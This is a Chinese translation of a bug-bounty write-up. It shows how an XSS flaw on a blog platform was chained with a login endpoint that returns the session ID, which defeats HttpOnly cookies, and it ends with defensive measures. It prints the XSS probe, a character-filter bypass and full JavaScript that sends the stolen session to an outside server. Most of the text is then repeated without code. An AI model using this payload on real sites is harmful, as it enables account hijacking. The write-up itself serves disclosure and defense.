翻译 Stealing HttpOnly Cookie via XSS
字数 1238 2025-08-29 08:32:09

通过XSS窃取HttpOnly Cookie的技术分析与防御指南

1. 漏洞发现过程概述

本文详细分析了一个通过XSS漏洞窃取HttpOnly Cookie的实际案例,展示了攻击者如何绕过安全限制获取敏感会话信息。

关键发现点:

  • 目标网站:jerico.com(一个拥有5亿用户的博客平台)
  • 漏洞入口点:/account/settings/server端点存在XSS漏洞
  • 特殊发现:登录API在响应体中返回会话ID,尽管Cookie标记为HttpOnly

2. XSS漏洞的发现与利用

2.1 初始发现

攻击者使用wfuzz工具进行目录枚举:

wfuzz -c -z file,/root/Desktop/common-list --hc 404,400,302 https://jerico.com/FUZZ

发现/account/settings/server端点返回200状态码,并在页面源代码中发现:

<script> var user ='server'; </SCRIPT>

2.2 XSS Payload构造

简单验证Payload:

https://jerico.com/account/settings/server'-alert(2)-'

成功触发XSS弹窗,确认漏洞存在。

3. 绕过HttpOnly限制的技术

3.1 会话ID泄露点分析

虽然会话Cookie被标记为HttpOnly:

Set-Cookie:session=xz4z5cxz4c56zx4c6x5zc46z5xczx46cx4zc6xz4czxc; secure;httpOnly;domain=jersico.com

但登录API在响应体中返回了相同的会话ID:

{"session":"xz4z5cxz4c56zx4c6x5zc46z5xczx46cx4zc6xz4czxc"}

3.2 利用技术

攻击者发现无需提供凭据,仅需发送包含有效会话Cookie的POST请求即可获取会话ID:

POST /Account/Login HTTP/1.1
Cookie: session=xz4z5cxz4c56zx4c6x5zc46z5xczx46cx4zc6xz4czxc;
HOST: jerico.com

4. 高级XSS Payload构造技术

4.1 字符过滤绕过

由于特殊字符被过滤(",<>/\),攻击者采用以下技术:

  1. 使用String.fromCharCode()转换ASCII码
  2. 使用.concat()方法代替逗号分隔

示例:

// 原始:alert(1337)
eval(String.fromCharCode(97,108,101,114,116,40,49,51,51,55,41))

// 使用concat替代逗号:
'a'.concat('b')

4.2 自动化Payload生成

攻击者开发Python脚本将任意JavaScript代码转换为过滤绕过形式:

# Js2S.py脚本功能:将JavaScript代码转换为过滤绕过形式
# 使用示例:
python Js2S.py payload.txt

5. 完整攻击链

5.1 最终Payload结构

https://jerico.com/Account/Settings/server`-dcument.write( <<生成的payload>> )'-

5.2 攻击流程

  1. 受害者访问恶意构造的URL
  2. 页面执行document.write,写入恶意脚本
  3. 恶意脚本发送XHR POST请求到登录端点
  4. 从响应体中提取会话ID
  5. 将会话ID发送到攻击者控制的服务器

5.3 窃取会话的JavaScript代码

<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
        prompt('You are hacked , your session='+xhr.response);
        document.location.replace('//yassergersy.com/stealer?data='+xhr.response);
    }
}
xhr.open('POST', '/account/login', true);
xhr.withCredentials = true;
xhr.send(null);
</script>

6. 防御措施

6.1 防止XSS

  1. 对所有用户输入进行严格的输出编码
  2. 实施内容安全策略(CSP)
  3. 使用X-XSS-Protection头
  4. 避免在JavaScript中直接使用用户输入

6.2 保护会话ID

  1. 不要在响应体中返回会话ID
  2. 确保HttpOnly和Secure标志始终设置
  3. 实现会话固定保护
  4. 考虑使用SameSite Cookie属性

6.3 输入过滤

  1. 实施严格的输入验证
  2. 使用白名单而非黑名单方法
  3. 对特殊字符进行适当转义

7. 漏洞时间线

  • 2018年2月4日:漏洞报告
  • 2018年2月5日:分类确认

8. 经验教训

  1. 漏洞链式利用可提高攻击影响
  2. 不应仅依赖HttpOnly保护会话
  3. API响应可能泄露敏感信息
  4. 简单的XSS可能导致严重的会话劫持

通过此案例,我们了解到即使设置了HttpOnly标志,如果应用程序设计不当,攻击者仍可能通过其他途径获取会话凭证。全面的安全措施和深度防御策略至关重要。

通过XSS窃取HttpOnly Cookie的技术分析与防御指南 1. 漏洞发现过程概述 本文详细分析了一个通过XSS漏洞窃取HttpOnly Cookie的实际案例,展示了攻击者如何绕过安全限制获取敏感会话信息。 关键发现点: 目标网站:jerico.com(一个拥有5亿用户的博客平台) 漏洞入口点: /account/settings/server 端点存在XSS漏洞 特殊发现:登录API在响应体中返回会话ID,尽管Cookie标记为HttpOnly 2. XSS漏洞的发现与利用 2.1 初始发现 攻击者使用wfuzz工具进行目录枚举: 发现 /account/settings/server 端点返回200状态码,并在页面源代码中发现: 2.2 XSS Payload构造 简单验证Payload: 成功触发XSS弹窗,确认漏洞存在。 3. 绕过HttpOnly限制的技术 3.1 会话ID泄露点分析 虽然会话Cookie被标记为HttpOnly: 但登录API在响应体中返回了相同的会话ID: 3.2 利用技术 攻击者发现无需提供凭据,仅需发送包含有效会话Cookie的POST请求即可获取会话ID: 4. 高级XSS Payload构造技术 4.1 字符过滤绕过 由于特殊字符被过滤(", <>/\),攻击者采用以下技术: 使用 String.fromCharCode() 转换ASCII码 使用 .concat() 方法代替逗号分隔 示例: 4.2 自动化Payload生成 攻击者开发Python脚本将任意JavaScript代码转换为过滤绕过形式: 5. 完整攻击链 5.1 最终Payload结构 5.2 攻击流程 受害者访问恶意构造的URL 页面执行document.write,写入恶意脚本 恶意脚本发送XHR POST请求到登录端点 从响应体中提取会话ID 将会话ID发送到攻击者控制的服务器 5.3 窃取会话的JavaScript代码 6. 防御措施 6.1 防止XSS 对所有用户输入进行严格的输出编码 实施内容安全策略(CSP) 使用X-XSS-Protection头 避免在JavaScript中直接使用用户输入 6.2 保护会话ID 不要在响应体中返回会话ID 确保HttpOnly和Secure标志始终设置 实现会话固定保护 考虑使用SameSite Cookie属性 6.3 输入过滤 实施严格的输入验证 使用白名单而非黑名单方法 对特殊字符进行适当转义 7. 漏洞时间线 2018年2月4日:漏洞报告 2018年2月5日:分类确认 8. 经验教训 漏洞链式利用可提高攻击影响 不应仅依赖HttpOnly保护会话 API响应可能泄露敏感信息 简单的XSS可能导致严重的会话劫持 通过此案例,我们了解到即使设置了HttpOnly标志,如果应用程序设计不当,攻击者仍可能通过其他途径获取会话凭证。全面的安全措施和深度防御策略至关重要。